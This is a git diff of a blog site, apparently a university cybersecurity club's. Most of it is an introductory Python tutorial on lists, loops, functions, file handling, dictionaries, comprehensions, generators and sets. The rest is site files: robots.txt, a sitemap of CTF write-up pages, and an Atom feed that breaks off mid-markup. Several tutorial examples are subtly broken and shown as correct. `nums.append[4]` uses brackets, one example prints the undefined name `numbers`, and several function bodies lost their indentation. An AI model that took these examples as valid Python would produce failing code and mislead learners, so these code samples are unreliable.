Trying to access a non existing index will lead to an error.

List Operations

The item at a certain index in a list can be reassigned. For example:

list = [0,1,2,3,4]
+list[2] = 5
+print(list)
+

You can replace the item with an item of a different type.

Lists can be added and multiplied in the same way as strings. For example:

nums = [0,1,2]
+print(nums + [3,4,5])
+print(nums*3)
+

Lists and strings are similar in many ways - strings can be thought of as lists of characters that can’t be changed.

For example, the string “Hello” can be thought of as a list, where each character is an item in the list. The first item is “H”, the second item is “e”, and so on.

To check if an item is in a list, the in operator can be used. It returns True if the item occurs one or more times in the list, and False if it doesn’t.

words = ["spam",  "egg",  "spam",  "sausage"]
+print("spam"  in words)
+print("egg"  in words)
+print("tomato"  in words)
+

The in operator is also used to determine whether or not a string is a substring of another string.

To check if an item is not in a list, you can use the not operator in one of the following ways:

nums = [1,  2,  3]
+print(not  4  in nums)
+print(4  not  in nums)
+print(not  3  in nums)
+print(3  not  in nums)
+

List Functions

The append method adds an item to the end of an existing list. For example:

nums = [1,2,3]
+nums.append[4]
+print(nums)
+

The dot before append is there because it is a method of the list class. Methods will be explained in later.

To get the number of items in a list, you can use the len function.

list = [0,1,2,3,4]
+print(len(list))
+

Unlike the index of the items, len does not start with 0. So, the list above contains 5 items, meaning len will return 5.

len is written before the list it is being called on, without a dot.

The insert method is similar to append, except that it allows you to insert a new item at any position in the list, as opposed to just at the end.

words = ["Python",  "fun"]
+index = 1
+words.insert(index,  "is")
+print(words)
+

Elements, that are after the inserted item, are shifted to the right.

The index method finds the first occurrence of a list item and returns its index. If the item isn’t in the list, it raises a ValueError.

letters = ['p',  'q',  'r',  's',  'p',  'u']
+print(letters.index('r'))
+print(letters.index('p'))
+print(letters.index('z'))
+

There are a few more useful functions and methods for lists.

max(list): Returns the list item with the maximum value

min(list): Returns the list item with minimum value

list.count(item): Returns a count of how many times an item occurs in a list.

list.remove(item): Removes an object from a list

list.reverse(): Reverses items in a list.

For example, you can count how many 42s are there in the list using: items.count(42) where items is the name of our list.

While Loops

A while loop is used to repeat a block of code multiple times. For example, let’s say we need to process multiple user inputs, so that each time the user inputs something, the same block of code needs to execute.

Below is a while loop containing a variable that counts up from 1 to 5, at which point the loop terminates.

i = 1
+while i <=5:
+    print(i)
+    i += 1
+print("Finished!")
+

During each loop iteration, the i variable will get incremented by one, until it reaches 5. So, the loop will execute the print statement 5 times.

The code in the body of a while loop is executed repeatedly. This is called iteration.

You can use multiple statements in the while loop.

For example, you can use an if statement to make decisions. This can be useful, if you are making a game and need to loop through a number of player actions and add or remove points of the player.

The code below uses an if/else statement inside a while loop to separate the even and odd numbers in the range of 1 to 10:

x = 1
+while x <= 10:
+    if x%2 == 0:
+        print(str(x) + "is even")
+    else:
+        print(str(x) + "is odd")
+    x += 1
+

str(x) is used to convert the number x to a string, so that it can be used for concatenation.

In console, you can stop the program’s execution by using the Ctrl-C shortcut or by closing the program.

break

To end a while loop prematurely, the break statement can be used. For example, we can break an infinite loop if some condition is met:

i = 0
+while  1==1:
+    print(i)
+    i = i + 1
+    if i >= 5:
+        print("Breaking")
+        break
+print("Finished")
+

while True is a short and easy way to make an infinite loop.

An example use case of break: An infinite while loop can be used to continuously take user input. For example, you are making a calculator and need to take numbers from the user to add and stop, when the user enters “stop”. In this case, the break statement can be used to end the infinite loop when the user input equals “stop”.

Using the break statement outside of a loop causes an error.

continue

Another statement that can be used within loops is continue. Unlike break, continue jumps back to the top of the loop, rather than stopping it. Basically, the continue statement stops the current iteration and continues with the next one.

For example:

i = 0
+while i<5:
+    i += 1
+    if i==3:
+        print("Skipping 3")
+        continue
+    print(i)
+

An example use case of continue: An airline ticketing system needs to calculate the total cost for all tickets purchased. The tickets for children under the age of 1 are free. We can use a while loop to iterate through the list of passengers and calculate the total cost of their tickets. Here, the continue statement can be used to skip the children.

Using the continue statement outside of a loop causes an error.

for Loop

The for loop is used to iterate over a given sequence, such as lists or strings.

The code below outputs each item in the list and adds an exclamation mark at the end:

words = ['hello', 'world']
+for word in words:
+    print(word + '!')
+

In the code above, the word variable represents the corresponding item of the list in each iteration of the loop. During the 1st iteration, word is equal to “hello”, and during the 2nd iteration it’s equal to “world”.

The for loop can be used to iterate over strings.

For example:

str = "testing for loops"
+count = 0
+for x in  str:
+    if(x == 't'):
+        count += 1
+print(count)
+

The code above defines a count variable, iterates over the string and calculates the count of ‘t’ letters in it. During each iteration, the x variable represents the current letter of the string. The count variable is incremented each time the letter ‘t’ is found, thus, at the end of the loop it represents the number of ‘t’ letters in the string. >Similar to while loops, the break and continue statements can be used in for loops, to stop the loop or jump to the next iteration. for vs while

Both, for and while loops can be used to execute a block of code for multiple times.

It is common to use the for loop when the number of iterations is fixed. For example, iterating over a fixed list of items in a shopping list.

The while loop is used in cases when the number of iterations is not known and depends on some calculations and conditions in the code block of the loop. For example, ending the loop when the user enters a specific input in a calculator program.

Both, for and while loops can be used to achieve the same results, however, the for loop has cleaner and shorter syntax, making it a better choice in most cases.

Range

The range() function returns a sequence of numbers. By default, it starts from 0, increments by 1 and stops before the specified number.

The code below generates a list containing all of the integers, up to 10.

nums = list(range(10))
+print(nums)
+

In order to output the range as a list, we need to explicitly convert it to a list, using the list() function.

If range is called with one argument, it produces an object with values from 0 to that argument. If it is called with two arguments, it produces values from the first to the second. For example:

nums = list(range(3,10))
+print(numbers)
+
+print(range(20) == range(0, 20))
+

Remember, the second argument is not included in the range, so range(3, 8) will not include the number 8.

range can have a third argument, which determines the interval of the sequence produced, also called the step.

numbers = list(range(5,20,2))
+print(numbers)
+

We can also create list of decreasing numbers, using a negative number as the third argument, for example list(range(20, 5, -2)).

for Loops

The for loop is commonly used to repeat some code a certain number of times. This is done by combining for loops with range objects.

for i in range(5):
+    print("hello world!")
+

You don’t need to call list on the range object when it is used in a for loop, because it isn’t being indexed, so a list isn’t required.

Functions

You’ve already used functions previously. Any statement that consists of a word followed by information in parentheses is a function call. Here are some examples that you’ve already seen:

print("Hello world")
+range(2,20)
+str(12)
+range(10,20,3)
+

The words in front of the parentheses are function names, and the comma-separated values inside the parentheses are function arguments.

In addition to using pre-defined functions, you can create your own functions by using the def statement. Here is an example of a function named my_func. It takes no arguments, and prints “spam” three times. It is defined, and then called. The statements in the function are executed only when the function is called.

def my_func():
+    print("spam")
+    print("spam")
+    print("spam")
+my_func()
+

The code block within every function starts with a colon (:) and is indented.

You must define functions before they are called, in the same way that you must assign variables before using them.

hello()
+
+def hello():
+    print('Hello world')
+

Arguments

All the function definitions we’ve looked at so far have been functions of zero arguments, which are called with empty parentheses. However, most functions take arguments. The example below defines a function that takes one argument:

def print_with_exclamation(word):
+    print(word + "!")
+print_with_exclamation("spam")
+print_with_exclamation("eggs")
+print_with_exclamation("python")
+

As you can see, the argument is defined inside the parentheses.

You can also define functions with more than one argument; separate them with commas.

def print_sum_twice(x, y):
+    print(x+y)
+    print(x+y)
+
+print_sum_twice(5, 20)
+

Function arguments can be used as variables inside the function definition. However, they cannot be referenced outside of the function’s definition. This also applies to other variables created inside a function.

def function(variable):
+    variable += 1
+    print(variable)
+function(7)
+print(variable)
+

This code will throw an error because the variable is defined inside the function and can be referenced only there. >Technically, parameters are the variables in a function definition, and arguments are the values put into parameters when functions are called. Returning from Functions

Certain functions, such as int or str, return a value that can be used later. To do this for your defined functions, you can use the return statement.

For example:

def  max(x, y):
+    if x >=y:
+        return x
+    else:
+        return y
+print(max(4,  7))
+z = max(8,  5)
+print(z)
+

The return statement cannot be used outside of a function definition.

Once you return a value from a function, it immediately stops being executed. Any code after the return statement will never happen. For example:

def add_numbers(x, y):
+    total = x + y
+    return total
+    print("This won't be printed")
+print(add_numbers(4,  5))
+

Although they are created differently from normal variables, functions are just like any other kind of value. They can be assigned and reassigned to variables, and later referenced by those names.

def multiply(x, y):
+    return x * y
+a = 4
+b = 7
+operation = multiply
+print(operation(a, b))
+

The example above assigned the function multiply to a variable operation. Now, the name operation can also be used to call the function.

Functions can also be used as arguments of other functions.

def add(x, y):
+    return x + y
+def do_twice(func, x, y):
+return func(func(x, y), func(x, y))
+a = 5
+b = 10
+print(do_twice(add, a, b))
+

Modules

Modules are pieces of code that other people have written to fulfill common tasks, such as generating random numbers, performing mathematical operations, etc.

The basic way to use a module is to add import module_name at the top of your code, and then using module_name.var to access functions and values with the name var in the module. For example, the following example uses the random module to generate random numbers:

import random
+for i in  range(5):
+    value = random.randint(1,  6)
+    print(value)
+

The code uses the randint function defined in the random module to print 5 random numbers in the range 1 to 6.

There is another kind of import that can be used if you only need certain functions from a module. These take the form from module_name import var, and then var can be used as if it were defined normally in your code. For example, to import only the pi constant from the math module:

from math import pi
+    print(pi)
+

Use a comma separated list to import multiple objects. For example:

from math import pi, sqrt
+print(sqrt(pi))
+

* imports all objects from a module. For example: from math import *. This is generally discouraged, as it confuses variables in your code with variables in the external module.

The standard library

There are three main types of modules in Python, those you write yourself, those you install from external sources, and those that are preinstalled with Python. The last type is called the standard library, and contains many useful modules. Some of the standard library’s useful modules include string, re, datetime, math, random, os, multiprocessing, subprocess, socket, email, json, doctest, unittest, pdb, argparse and sys.

Tasks that can be done by the standard library include string parsing, data serialization, testing, debugging and manipulating dates, emails, command line arguments, and much more!

Some of the modules in the standard library are written in Python, and some are written in C. Most are available on all platforms, but some are Windows or Unix specific.

Many third-party Python modules are stored on the Python Package Index (PyPI). The best way to install these is using a program called pip. This comes installed by default with modern distributions of Python. If you don’t have it, it is easy to install online. Once you have it, installing libraries from PyPI is easy. Look up the name of the library you want to install, go to the command line (for Windows it will be the Command Prompt), and enter pip install library_name. Once you’ve done this, import the library and use it in your code.

Using pip is the standard way of installing libraries on most operating systems, but some libraries have prebuilt binaries for Windows. These are normal executable files that let you install libraries with a GUI the same way you would install other programs.

Files

You can use Python to read and write the contents of files. Text files are the easiest to manipulate. Before a file can be edited, it must be opened, using the open function.

myfile = open("filename.txt")
+
+

The argument of the open function is the path to the file. If the file is in the current working directory of the program, you can specify only its name.

You can specify the mode used to open a file by applying a second argument to the open function. Sending “r” means open in read mode, which is the default. Sending “w” means write mode, for rewriting the contents of a file. Sending “a” means append mode, for adding new content to the end of the file.

Adding “b” to a mode opens it in binary mode, which is used for non-text files (such as image and sound files). For example:

# write mode
+open("filename.txt", "w")
+
+# read mode
+open("filename.txt", "r")
+open("filename.txt")
+
+# binary write mode
+open("filename.txt", "wb")
+

You can use the + sign with each of the modes above to give them extra access to files. For example, r+ opens the file for both reading and writing.

Once a file has been opened and used, you should close it. This is done with the close method of the file object.

file = open("filename.txt", "w")
+# do stuff to the file
+file.close()
+

The contents of a file that has been opened in text mode can be read using the read method.

file = open("filename.txt", "r")
+cont = file.read()
+print(cont)
+file.close()
+

This will print all of the contents of the file “filename.txt”.

To read only a certain amount of a file, you can provide a number as an argument to the read function. This determines the number of bytes that should be read. You can make more calls to read on the same file object to read more of the file byte by byte. With no argument, read returns the rest of the file.

file = open("filename.txt", "r")
+print(file.read(16))
+print(file.read(4))
+print(file.read(4))
+print(file.read())
+file.close()
+

Just like passing no arguments, negative values will return the entire contents.

After all contents in a file have been read, any attempts to read further from that file will return an empty string, because you are trying to read from the end of the file.

file = open("filename.txt", "r")
+file.read()
+print("Re-reading")
+print(file.read())
+print("Finished")
+file.close()
+

Result:

>>>
+Re-reading
+
+Finished
+>>>
+

To retrieve each line in a file, you can use the readlines method to return a list in which each element is a line in the file. For example:

file = open(“filename.txt”, “r”) print(file.readlines()) file.close()

Result:

>>>
+['Line 1 text \n', 'Line 2 text \n', 'Line 3 text']
+>>>
+

You can also use a for loop to iterate through the lines in the file:

file = open("filename.txt", "r")
+
+for line in file:
+print(line)
+
+file.close()
+

Result:

>>>
+Line 1 text
+
+Line 2 text
+
+Line 3 text
+>>>
+

In the output, the lines are separated by blank lines, as the print function automatically adds a new line at the end of its output.

To write to files you use the write method, which writes a string to the file. For example:

file = open("newfile.txt",  "w")
+file.write("This has been written to a file")
+file.close()
+file = open("newfile.txt",  "r")
+print(file.read())
+file.close()
+

The “w” mode will create a file, if it does not already exist.

When a file is opened in write mode, the file’s existing content is deleted.

file = open("newfile.txt",  "w")
+file.write("Some new text")
+file.close()
+file = open("newfile.txt",  "r")
+print("Reading new contents")
+print(file.read())
+print("Finished")
+file.close()
+

As you can see, the content of the file has been overwritten.

The write method returns the number of bytes written to a file, if successful.

msg = "Hello world!"
+file = open("newfile.txt",  "w")
+amount_written = file.write(msg)
+print(amount_written)
+file.close()
+

To write something other than a string, it needs to be converted to a string first.

It is good practice to avoid wasting resources by making sure that files are always closed after they have been used.

A way of doing this is using with statements. This creates a temporary variable (often called f), which is only accessible in the indented block of the with statement.

with open("filename.txt")  as f:
+    print(f.read())
+

The file is automatically closed at the end of the with statement, even if exceptions occur within it.

None

The None object is used to represent the absence of a value. It is similar to null in other programming languages. Like other “empty” values, such as 0, [] and the empty string, it is False when converted to a Boolean variable. When entered at the Python console, it is displayed as the empty string.

print(None)
+

Run the code and see how it works!

The None object is returned by any function that doesn’t explicitly return anything else.

def some_func():
+print("Hi!")
+var = some_func()
+print(var)
+

Dictionaries

Dictionaries are data structures used to map arbitrary keys to values. Lists can be thought of as dictionaries with integer keys within a certain range. Dictionaries can be indexed in the same way as lists, using square brackets containing keys. Example:

ages = {"Dave":  24,  "Mary":  42,  "John":  58}
+print(ages["Dave"])
+print(ages["Mary"])
+

Each element in a dictionary is represented by a key:value pair.

Trying to index a key that isn’t part of the dictionary returns a KeyError. Example:

primary = {
+"red":  [255,  0,  0],
+"green":  [0,  255,  0],
+"blue":  [0,  0,  255],
+}
+print(primary["red"])
+print(primary["yellow"])
+

As you can see, a dictionary can store any types of data as values. >An empty dictionary is defined as {}.

Only immutable objects can be used as keys to dictionaries. Immutable objects are those that can’t be changed. So far, the only mutable objects you’ve come across are lists and dictionaries. Trying to use a mutable object as a dictionary key causes a TypeError.

bad_dict = {
+
+[1,  2,  3]:  "one two three",
+
+}
+

Run the code and see how it works!

Just like lists, dictionary keys can be assigned to different values. However, unlike lists, a new dictionary key can also be assigned a value, not just ones that already exist.

squares = {1:  1,  2:  4,  3:  "error",  4:  16,}
+squares[8] = 64
+squares[3] = 9
+print(squares)
+

To determine whether a key is in a dictionary, you can use in and not in, just as you can for a list. Example:

nums = {
+1:  "one",
+2:  "two",
+3:  "three",
+}
+print(1  in nums)
+print("three"  in nums)
+print(4  not  in nums)
+

A useful dictionary method is get. It does the same thing as indexing, but if the key is not found in the dictionary it returns another specified value instead (‘None’, by default). Example:

pairs = {1:  "apple",
+"orange":  [2,  3,  4],
+True:  False,
+None:  "True",
+}
+
+print(pairs.get("orange"))
+print(pairs.get(7))
+print(pairs.get(12345,  "not in dictionary"))
+

Tuples

Tuples are very similar to lists, except that they are immutable (they cannot be changed). Also, they are created using parentheses, rather than square brackets. Example:

words = ("spam", "eggs", "sausages",)

You can access the values in the tuple with their index, just as you did with lists:

print(words[0])

Trying to reassign a value causes a TypeError.

words[1] = "cheese"

You can access the values in the tuple with their index, just as you did with lists.

Tuples can be created without the parentheses, by just separating the values with commas. Example:

my_tuple = "one", "two", "three"
+print(my_tuple[0])
+

An empty tuple is created using an empty parenthesis pair.

tpl = ()

Tuples are faster than lists, but they cannot be changed.

List Slices

List slices provide a more advanced way of retrieving values from a list. Basic list slicing involves indexing a list with two colon-separated integers. This returns a new list containing all the values in the old list between the indices. Example:

squares = [0,  1,  4,  9,  16,  25,  36,  49,  64,  81]
+print(squares[2:6])
+print(squares[3:8])
+print(squares[0:1])
+

Like the arguments to range, the first index provided in a slice is included in the result, but the second isn’t.

If the first number in a slice is omitted, it is taken to be the start of the list. If the second number is omitted, it is taken to be the end. Example:

squares = [0,  1,  4,  9,  16,  25,  36,  49,  64,  81]
+print(squares[:7])
+print(squares[7:])
+

Slicing can also be done on tuples.

List slices can also have a third number, representing the step, to include only alternate values in the slice.

squares = [0,  1,  4,  9,  16,  25,  36,  49,  64,  81]
+print(squares[::2])
+print(squares[2:8:3])
+

[2:8:3] will include elements starting from the 2nd index up to the 8th with a step of 3.

Negative values can be used in list slicing (and normal list indexing). When negative values are used for the first and second values in a slice (or a normal index), they count from the end of the list.

squares = [0,  1,  4,  9,  16,  25,  36,  49,  64,  81]
+print(squares[1::-1])
+

If a negative value is used for the step, the slice is done backwards. Using [::-1] as a slice is a common and idiomatic way to reverse a list.

List Comprehensions

List comprehensions are a useful way of quickly creating lists whose contents obey a simple rule. For example, we can do the following:

# a list comprehension
+cubes = [i**3  for i in  range(5)]
+print(cubes)
+

List comprehensions are inspired by set-builder notation in mathematics.

A list comprehension can also contain an if statement to enforce a condition on values in the list. Example:

evens=[i**2  for i in  range(10)  if i**2 % 2 == 0]
+print(evens)
+

Trying to create a list in a very extensive range will result in a MemoryError. This code shows an example where the list comprehension runs out of memory.

even = [2*i for i in  range(10**100)]
+

This issue is solved by generators, which are covered later.

String Formatting

So far, to combine strings and non-strings, you’ve converted the non-strings to strings and added them. String formatting provides a more powerful way to embed non-strings within strings. String formatting uses a string’s format method to substitute a number of arguments in the string. Example:

# string formatting
+nums = [4,  5,  6]
+msg = "Numbers: {0} {1} {2}". format(nums[0], nums[1], nums[2])
+print(msg)
+

Each argument of the format function is placed in the string at the corresponding position, which is determined using the curly braces { }.

String formatting can also be done with named arguments. Example:

a= "{x}, {y}".format(x = 5, y = 12)
+print(a)
+

String Functions

Python contains many useful built-in functions and methods to accomplish common tasks. join - joins a list of strings with another string as a separator. replace - replaces one substring in a string with another. startswith and endswith - determine if there is a substring at the start and end of a string, respectively. To change the case of a string, you can use lower and upper. The method split is the opposite of join turning a string with a certain separator into a list. Some examples:

print(", ".join(["spam",  "eggs",  "ham"]))
+#prints "spam, eggs, ham"
+
+print("Hello ME".replace("ME",  "world"))
+#prints "Hello world"
+
+print("This is a sentence.".startswith("This"))
+# prints "True"
+
+print("This is a sentence.".endswith("sentence."))
+# prints "True"
+
+print("This is a sentence.".upper())
+# prints "THIS IS A SENTENCE."
+
+print("AN ALL CAPS SENTENCE".lower())
+#prints "an all caps sentence"
+
+print("spam, eggs, ham".split(", "))
+#prints "['spam', 'eggs', 'ham']"
+

Numeric Functions

To find the maximum or minimum of some numbers or a list, you can use max or min. To find the distance of a number from zero (its absolute value), use abs. To round a number to a certain number of decimal places, use round. To find the total of a list, use sum. Some examples:

print(min(1,  2,  3,  4,  0,  2,  1))
+print(max([1,  4,  9,  2,  5,  6,  8]))
+print(abs(-99))
+print(abs(42))
+print(sum([1,  2,  3,  4,  5]))
+

List Functions

Often used in conditional statements, all and any take a list as an argument, and return True if all or any (respectively) of their arguments evaluate to True (and False otherwise). The function enumerate can be used to iterate through the values and indices of a list simultaneously. Example:

nums = [55,  44,  33,  22,  11]
+if  all([i > 5  for i in nums]):
+    print("All larger than 5")
+
+if  any([i % 2 == 0  for i in nums]):
+    print("At least one is even")
+
+for v in  enumerate(nums):
+    print(v)
+

Lambdas

Creating a function normally (using def) assigns it to a variable automatically. This is different from the creation of other objects - such as strings and integers - which can be created on the fly, without assigning them to a variable. The same is possible with functions, provided that they are created using lambda syntax. Functions created this way are known as anonymous. This approach is most commonly used when passing a simple function as an argument to another function. The syntax is shown in the next example and consists of the lambda keyword followed by a list of arguments, a colon, and the expression to evaluate and return.

def my_func(f, arg):
+return f(arg)
+
+my_func(lambda x: 2*x*x, 5)
+

Lambda functions get their name from lambda calculus, which is a model of computation invented by Alonzo Church.

Lambda functions aren’t as powerful as named functions. They can only do things that require a single expression - usually equivalent to a single line of code. Example:

#named function
+def polynomial(x):
+return x**2 + 5*x + 4
+print(polynomial(-4))
+
+#lambda
+print((lambda x: x**2 + 5*x + 4)  (-4))
+

In the code above, we created an anonymous function on the fly and called it with an argument.

Lambda functions can be assigned to variables, and used like normal functions. Example:

double = lambda x: x * 2
+print(double(7))
+

However, there is rarely a good reason to do this - it is usually better to define a function with def instead.

map

The function map takes a function and an iterable as arguments, and returns a new iterable with the function applied to each argument. Example:

def add_five(x):
+return x + 5
+
+nums = [11,  22,  33,  44,  55]
+result = list(map(add_five, nums))
+print(result)
+

We could have achieved the same result more easily by using lambda syntax.

nums = [11,  22,  33,  44,  55]
+
+result = list(map(lambda x: x+5, nums))
+print(result)
+

filter

The function filter filters an iterable by removing items that don’t match a predicate (a function that returns a Boolean). Example:

nums = [11,  22,  33,  44,  55]
+res = list(filter(lambda x: x%2==0, nums))
+print(res)
+

Like map, the result has to be explicitly converted to a list if you want to print it.

Generators

Generators are a type of iterable, like lists or tuples. Unlike lists, they don’t allow indexing with arbitrary indices, but they can still be iterated through with for loops. They can be created using functions and the yield statement. Example:

def countdown():
+    i=5
+    while i > 0:
+        yield i
+        i -= 1
+for i in countdown():
+    print(i)
+

The yield statement is used to define a generator, replacing the return of a function to provide a result to its caller without destroying local variables.

Due to the fact that they yield one item at a time, generators don’t have the memory restrictions of lists. In fact, they can be infinite!

def infinite_sevens():
+    while True:
+        yield 7
+
+for i in infinite_sevens():
+    print(i)
+

Result:

>>>
+7
+7
+7
+7
+7
+7
+7
+...
+

In short, generators allow you to declare a function that behaves like an iterator, i.e. it can be used in a for loop.

Finite generators can be converted into lists by passing them as arguments to the list function.

def numbers(x):
+    for i in  range(x):
+        if i % 2 == 0:
+            yield i
+print(list(numbers(11)))
+

Using generators results in improved performance, which is the result of the lazy (on demand) generation of values, which translates to lower memory usage. Furthermore, we do not need to wait until all the elements have been generated before we start to use them.

Sets

Sets are data structures, similar to lists or dictionaries. They are created using curly braces, or the set function. They share some functionality with lists, such as the use of in to check whether they contain a particular item.

num_set = {1,  2,  3,  4,  5}
+word_set = set(["spam",  "eggs",  "sausage"])
+
+print(3  in num_set)
+print("spam"  not  in word_set)
+

To create an empty set, you must use set(), as {} creates an empty dictionary.

Sets differ from lists in several ways, but share several list operations such as len. They are unordered, which means that they can’t be indexed. They cannot contain duplicate elements. Due to the way they’re stored, it’s faster to check whether an item is part of a set, rather than part of a list. Instead of using append to add to a set, use add. The method remove removes a specific element from a set; pop removes an arbitrary element.

nums = {1,  2,  1,  3,  1,  4,  5,  6}
+print(nums)
+nums.add(-7)
+nums.remove(3)
+print(nums)
+

Basic uses of sets include membership testing and the elimination of duplicate entries.

Sets can be combined using mathematical operations. The union operator | combines two sets to form a new one containing items in either. The intersection operator & gets items only in both. The difference operator - gets items in the first set but not in the second. The symmetric difference operator ^ gets items in either set, but not both.

first = {1,  2,  3,  4,  5,  6}
+second = {4,  5,  6,  7,  8,  9}
+
+print(first | second)
+print(first & second)
+print(first - second)
+print(second - first)
+print(first ^ second)
+

/scripting/ /Python Programming/

\ No newline at end of file diff --git a/resources/resources/1/index.html b/resources/resources/1/index.html new file mode 100644 index 0000000..0798c39 --- /dev/null +++ b/resources/resources/1/index.html @@ -0,0 +1 @@ +Redirect

Click here to be redirected. \ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100644 index 0000000..a0f614c --- /dev/null +++ b/robots.txt @@ -0,0 +1,4 @@ +User-agent: * +Disallow: +Allow: / +Sitemap: https://exploiitm.github.io/blog/sitemap.xml diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000..d484562 --- /dev/null +++ b/sitemap.xml @@ -0,0 +1,181 @@ + + + + https://exploiitm.github.io/blog/ + + + https://exploiitm.github.io/blog/about/ + + + https://exploiitm.github.io/blog/contacts/ + + + https://exploiitm.github.io/blog/posts/ + + + https://exploiitm.github.io/blog/posts/freshieRoadmap/ + 2024-08-06 + + + https://exploiitm.github.io/blog/posts/posts/1/ + + + https://exploiitm.github.io/blog/posts/summer_school/ + 2024-07-01 + + + https://exploiitm.github.io/blog/posts/the_book/ + 2024-07-02 + + + https://exploiitm.github.io/blog/resources/ + + + https://exploiitm.github.io/blog/resources/bandit_writeup/ + 2024-09-02 + + + https://exploiitm.github.io/blog/resources/resource1/ + 2024-05-22 + + + https://exploiitm.github.io/blog/resources/resources/1/ + + + https://exploiitm.github.io/blog/tags/ + + + https://exploiitm.github.io/blog/tags/Python Programming/ + + + https://exploiitm.github.io/blog/tags/scripting/ + + + https://exploiitm.github.io/blog/writeups/ + + + https://exploiitm.github.io/blog/writeups/316_writeup/ + 2024-09-02 + + + https://exploiitm.github.io/blog/writeups/Cyber3301/ + + + https://exploiitm.github.io/blog/writeups/Cyber3301/DontCheatPlayFair/ + 2024-10-12 + + + https://exploiitm.github.io/blog/writeups/Cyber3301/game/ + 2024-10-12 + + + https://exploiitm.github.io/blog/writeups/Cyber3301/mathBreak/ + 2024-10-12 + + + https://exploiitm.github.io/blog/writeups/Cyber3301/mrworldwide/ + 2024-10-12 + + + https://exploiitm.github.io/blog/writeups/Cyber3301/writeup/ + 2024-10-12 + + + https://exploiitm.github.io/blog/writeups/Cyber3301/writeup_piet/ + 2024-10-12 + + + https://exploiitm.github.io/blog/writeups/Cyber3301/writeups/Cyber3301/1/ + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/ + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/Befunge/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/ConverseWithSecrecy/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/HuffmanEncoding/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/Protogame/ + 2024-09-09 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/ReportToMe/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/SayHello/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/SomethingIsAskew/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/ocaptainmycaptain/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/ohmyadmin/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/overfloworchestra/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/patchUporDie/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/shell/ + 2024-09-11 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/whatTheCanary/ + 2024-09-05 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/writeup/ + 2024-09-11 + + + https://exploiitm.github.io/blog/writeups/Guild_Selection_CTF/writeups/Guild_Selection_CTF/1/ + + + https://exploiitm.github.io/blog/writeups/RVCExIITBFinals/ + + + https://exploiitm.github.io/blog/writeups/RVCExIITBFinals/paranoid2/ + 2024-07-02 + + + https://exploiitm.github.io/blog/writeups/RVCExIITBFinals/paranoid3/ + 2024-07-04 + + + https://exploiitm.github.io/blog/writeups/RVCExIITBFinals/physicistquest/ + 2024-07-04 + + + https://exploiitm.github.io/blog/writeups/RVCExIITBFinals/rigged/ + 2024-07-02 + + + https://exploiitm.github.io/blog/writeups/RVCExIITBFinals/writeup/ + 2024-02-07 + + + https://exploiitm.github.io/blog/writeups/RVCExIITBFinals/writeups/RVCExIITBFinals/1/ + + + https://exploiitm.github.io/blog/writeups/writeups/1/ + + diff --git a/tags/Python Programming/atom.xml b/tags/Python Programming/atom.xml new file mode 100644 index 0000000..32e2506 --- /dev/null +++ b/tags/Python Programming/atom.xml @@ -0,0 +1,1248 @@ + + + exploiitm blog - Python Programming + Official blog of Cybersecurity Club, IIT Madras + + + Zola + 2024-05-22T00:00:00+00:00 + https://exploiitm.github.io/blog/tags/Python Programming/atom.xml + + 1.1 Basic Python Programming + 2024-05-22T00:00:00+00:00 + 2024-05-22T00:00:00+00:00 + + + + + Unknown + + + + + + https://exploiitm.github.io/blog/resources/resource1/ + + <h2 id="simple-operations">Simple Operations</h2> +<p>Python has the capability of carrying out calculations. Enter a calculation directly into a print statement:</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2 </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">5 </span><span style="color:#fe8019;">+ </span><span style="color:#d3869b;">4 </span><span style="color:#fe8019;">-</span><span style="color:#d3869b;">3</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>The spaces around the plus and the minus signs here are optional (the code would work without them) but they make it easier to read.</p> +</blockquote> +<p>Python also carries out multiplication and division, using an <strong>asterisk</strong> <code>*</code> to indicate multiplication and a <strong>forward slash</strong> <code>/</code> to indicate division.</p> +<p>Use <strong>parentheses</strong> to determine which operations are performed first.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">2</span><span style="color:#fe8019;">*</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">3</span><span style="color:#fe8019;">+</span><span style="color:#d3869b;">4</span><span style="color:#fdf4c1;">)) +</span><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span style="color:#d3869b;">10</span><span style="color:#fe8019;">/</span><span style="color:#d3869b;">2</span><span style="color:#fdf4c1;">) +</span></code></pre> +<blockquote> +<p>Using a single slash to divide numbers produces a decimal (or <strong><em>float</em></strong>, as it is called in programming). We’ll learn more about <strong>floats</strong> later.</p> +</blockquote> +<p>Dividing by zero produces an <strong>error</strong> in python, as no answer can be calculated.</p> +<pre data-lang="py" style="background-color:#282828;color:#fdf4c1aa;" class="language-py "><code class="language-py" data-lang="py"><span style="color:#fabd2f;">print</span><span style="color:#fdf4c1;">(</span><span 